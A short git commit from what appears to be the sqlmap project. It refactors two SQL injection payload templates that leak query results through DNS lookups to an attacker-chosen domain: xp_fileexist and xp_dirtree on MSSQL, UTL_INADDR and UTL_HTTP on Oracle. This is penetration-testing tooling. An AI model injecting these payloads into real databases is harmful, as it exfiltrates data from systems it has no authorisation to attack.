minor refactoring

This commit is contained in:
Miroslav Stampar 2012-04-03 19:09:35 +00:00
parent 5851badff1
commit 11546cdb6e
2 changed files with 3 additions and 2 deletions

View File

@ -1,4 +1,4 @@
DECLARE @host varchar(1024);
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%.%DOMAIN%';
EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"');
# or EXEC('xp_dirtree "\\' + @host + '."');

View File

@ -1 +1,2 @@
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%'||'.%DOMAIN%') FROM DUAL
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL